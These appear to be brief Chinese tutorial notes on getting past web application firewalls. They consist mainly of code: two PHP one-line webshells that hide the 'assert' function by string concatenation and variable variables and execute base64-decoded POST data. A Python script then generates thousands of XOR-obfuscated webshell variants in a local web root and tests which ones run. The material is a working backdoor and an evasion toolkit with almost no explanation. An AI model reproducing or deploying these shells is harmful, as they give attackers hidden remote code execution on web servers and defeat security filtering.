WAF攻防-权限控制&代码免杀&异或运算&变量覆盖&混淆加密&传参

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

<?php 
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>

import requests
import time
import threading,queue

def string():
    while not q.empty():
        filename=q.get()
        url = 'http://127.0.0.1:8081/x/' + filename
        datas = {
            'x': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
        if 'XIAODI-PC' in result:
            print('check->'+filename+'->ok')
        else:
            print('check->'+filename+'->no')
        time.sleep(1)


def shell_test_check():
    url='http://127.0.0.1:8081/x/33xd64.php'
    datas={
        'x':'phpinfo();'
    }
    result=requests.post(url,data=datas).content.decode('utf-8')
    print(result)
    if 'XIAODI-PC' in result:
        print('ok')

if __name__ == '__main__':
    q=queue.Queue()
    for i in range(1, 127):
        for ii in range(1, 127):
            payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
            with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:
                f.write(code)
                f.close()
                print('Fuzz文件生成成功')
    for x in range(20):
        t=threading.Thread(target=string)
        t.start()